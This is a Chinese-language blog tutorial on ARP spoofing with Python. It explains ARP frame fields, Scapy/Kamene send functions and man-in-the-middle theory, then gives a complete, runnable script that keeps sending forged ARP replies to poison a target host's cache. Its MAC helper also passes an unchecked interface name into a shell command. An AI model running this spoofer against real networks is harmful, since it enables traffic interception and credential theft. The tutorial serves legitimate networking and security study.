Python网络编程1--实现ARP欺骗

一、ARP报文结构

   ARP(地址解析协议)是根据IP地址获取物理地址的一个TCP/IP协议。
报文结构

ARP报文结构

字段解释

  • Ethernet Address of destination
    长度:48比特
    含义:目的以太网地址。发送ARP请求时,为广播的MAC地址0xFF.FF.FF.FF.FF.FF。
  • Ethernet Address of sender
    长度:48比特
    含义:源以太网地址。
  • Frame Type
    长度:16比特
    含义:表示后面数据的类型。对于ARP请求或应答来说,该字段的值为0x0806。
  • Hardware Type
    长度:16比特
    含义:表示硬件地址的类型。对于以太网,该类型的值为“1”。
  • Protocol Type
    长度:16比特
    含义:表示发送方要映射的协议地址类型。对于IP地址,该值为0x0800。
  • Hardware Length
    长度:8比特
    含义:表示硬件地址的长度,单位是字节。对于ARP请求或应答来说,该值为6。
  • Protocol Length
    长度: 8比特
    含义:表示协议地址的长度,单位是字节。对于ARP请求或应答来说,该值为4。
  • OP
    长度:16比特
    操作类型:
      1 ARP请求
      2 ARP应答
      3 RARP请求
      4 RARP应答
  • Ethernet Address of sender
    长度:48比特
    含义:发送方以太网地址。这个字段和ARP报文首部的源以太网地址字段是重复信息。
  • IP Address of sender
    长度:32比特
    发送方的IP地址。
  • Ethernet Address of destination
    长度:48比特
    含义:接收方的以太网地址。发送ARP请求时,该处填充值为0x00.00.00.00.00.00。
  • IP Address of destination
    长度:32比特
    含义:接收方的IP地址。

二、Scapy相关函数介绍

  Scapy是基于Python语言的网络报文处理程序,它可以让用户发送、嗅探、解析、以及伪造网络报文,运用Scapy可以进行网路侦测、端口扫描、路由追踪、以及网络攻击。Kamene是Scapy的分支,一开始的Scapy并不支持Python 3,为了支持Python 3就诞生了Scapy3k这个分支,为了方便区分就把Scapy3k更名为了Kamene。注意:最新的Scapy是支持Python 3的(Scapy 2.4.0+)。

  • 收发数据包
    • 发送并接收数据包(sr)
      sr():发送三层数据包,等待接受一个或者多个数据包的响应。
      sr1( ):发送三层数据包,并仅仅只等待接受一个数据包的响应。
      srp():发送二层数据包,并且等待响应。
    • 发送数据包
      send():仅仅发送三层数据包,系统会自动处理路由和二层信息。
      sendp():发送二层数据包。

  带p字母的都是发送二层数据包,必须要写以太网头部Ether(),而且如果是多接口一定要指定接口不带p字母都是发送三层数据包,不需要填Ether头部,不需要指定接口。

  • 对数据包进行解析
    • srp()
      返回的结果是一个元组,第一个元素表示回复的结果,第二个元素表示无响应的结果
    • res()
      对返回的数据包生成一个list
    • haslayer()
      用于判断是否存在该层数据
    • getlayer()
      返回该层数据
    • fields()
      把数据包内容生成一个字典数据类型

三、实现ARP扫描

3.1 ARP扫描原理

  假设A(10.0.1.2)与C(10.0.1.1)在同一局域网,A要和C实现通信。A首先会发送一个数据包到广播地址(10.0.1.255),该数据包中包含了源IP(A)、源MAC、目的IP(C)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有C主机会回复一个包含了源IP()、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中。
  ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP响应,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。攻击者B向电脑A发送一个伪造的ARP响应,告诉电脑A:电脑C的IP地址10.0.1.1对应的MAC地址是B.B.B.B,电脑A信以为真,将这个对应关系写入自己的ARP缓存表中,以后发送数据时,将本应该发往电脑B的数据发送给了攻击者。同样的,攻击者B向电脑C也发送一个伪造的ARP响应,告诉电脑C:电脑C的IP地址10.0.1.1对应的MAC地址是B.B.B.B,电脑C也会将数据发送给攻击者。至此攻击者就控制了电脑A和电脑C之间的流量,他可以选择被动地监测流量,获取密码和其他涉密信息,也可以伪造数据,改变电脑A和电脑C之间的通信内容。


ARP欺骗

3.2 实验环境

  实验所使用的攻击主机系统为为Censtos7,使用两张网卡,因此需要单独获取不同网卡的信息。

3.3 Python 实现

  • 获取主机接口的IP地址
    使用Python脚本GET_IP.py,其内容如下:
#!/usr/bin/python3
# -*- coding=utf-8 -*-

import socket
import fcntl
import struct
  
def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        s.fileno(),
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', (ifname[:15]).encode())
    )[20:24])
  • 获取主机接口的MAC地址
    使用Python脚本GET_MAC.py,其内容如下:
#!/usr/bin/python3
# -*- coding=utf-8 -*-

import os
import re#导入正则表达式模块
import optparse

def get_mac_address(iface):#定义获取MAC地址的模块,传入接口名字
    """获取接口MAC"""
    #data = commands.getoutput("ifconfig " + iface)
    data = os.popen("ifconfig " + iface).read()#运行linux系统命令‘ifconfig’,并且读取输出信息赋值到data
    words = data.split()#把data中的数据通过空格分隔,并且产生清单
    found = 0#是否找到MAC地址
    location = 0#搜索清单的位置记录
    index = 0#MAC地址所在清单中的位置
    for x in words:#遍历整个清单
        if re.match('\w\w:\w\w:\w\w:\w\w:\w\w:\w\w', x):#匹配MAC地址字段
            found = 1#MAC地址被找到
            index = location#记录MAC地址出现的位置
            break#跳出循环
        else:#如果没有匹配MAC地址字段
            location = location + 1#继续执行循环,收索下一个位置,所以location需要加1
    if found == 1:#如果MAC地址被找到
        mac = words[index]#提取清单中MAC地址(通过记录的位置),并且赋值到mac
    else:#如果没有找到MAC地址
        mac = 'Mac not found'#返回MAC地址没找到的信息
    return mac#返回mac
  • 实现ARP欺骗
    具体实现脚本如下:
from kamene.all import *
from Network.Tools.GET_IP import get_ip_address
from Network.Tools.GET_MAC import get_mac_address #导入获取本机MAC地址方法
import time

global localip, localmac, ip_1_mac, ip_2_mac, g_ip_1, g_ip_2, g_ifname

def get_arp(ip_address, ifname):
    '''
      获取IP地址对应的MAC地址
    '''
    #获取本机IP地址
    localip = get_ip_address(ifname)
    #获取本机MAC地址
    localmac = get_mac_address(ifname)
    pkt=Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF')/ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_address)
    #发送ARP请求并等待响应,超时时间:timeout=1
    result_raw = srp(pkt, timeout=1,iface = ifname, verbose = False)
    #把响应的数据包对,产生为清单
    result_list = result_raw[0].res
    #[0]第一组响应数据包
    #[1]接受到的包,[0]为发送的数据包
    #[1]ARP头部字段中的['hwsrc']字段,作为返回值返回
    mac=str(result_list[0][1].getlayer(ARP).fields['hwsrc'])
    return mac
def arp_spoof(ip_1, ip_2, ifname):
    '''
     用本机的MAC去替换被攻击主机arp表中被毒化IP的MAC
    '''
    #global localip,localmac,ip_1_mac,ip_2_mac,g_ip_1,g_ip_2,g_ifname #申明全局变量
    g_ip_1 = ip_1 #为全局变量赋值,g_ip_1为被毒化ARP设备的IP地址
    g_ip_2 = ip_2 #为全局变量赋值,g_ip_2为本机伪装设备的IP地址
    g_ifname = ifname #为全局变量赋值,攻击使用的接口名字
    #获取本机IP地址,并且赋值到全局变量localip
    localip = get_ip_address(ifname)
    #获取本机MAC地址,并且赋值到全局变量localmac
    localmac = get_mac_address(ifname)
    #获取ip_1的真实MAC地址
    ip_1_mac = get_arp(ip_1,ifname)
    while True:#一直攻击,直到ctl+c出现!!!
        #op=2,响应ARP
        pkt=Ether(src=localmac, dst=ip_1_mac) / ARP(op=2, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1)
        # sendp(pkt)方式,根据二层发包,但不接收响应包
        sendp(pkt, iface = g_ifname, verbose = False)
        print("发送ARP欺骗数据包!欺骗" + ip_1 + '本地MAC地址为' + ip_2 + '的MAC地址!!!')
        time.sleep(1)

if __name__ == "__main__":
    ip1=input("攻击目标IP>>>")
    ifname=input("接口名称>>>")
    ip2=input("毒化的IP>>>")
    arp_spoof(ip1, ip2, ifname)
  • 执行效果
    使用Pycharm运行结果如下
    Pycharm执行

    在linux接口下使用Tcpdump抓包如下,向目标主机发送大量arp reply刷新其arp表。
    TCP dump抓包
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,826评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,968评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,234评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,562评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,611评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,482评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,271评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,166评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,608评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,814评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,926评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,644评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,249评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,866评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,991评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,063评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,871评论 2 354

推荐阅读更多精彩内容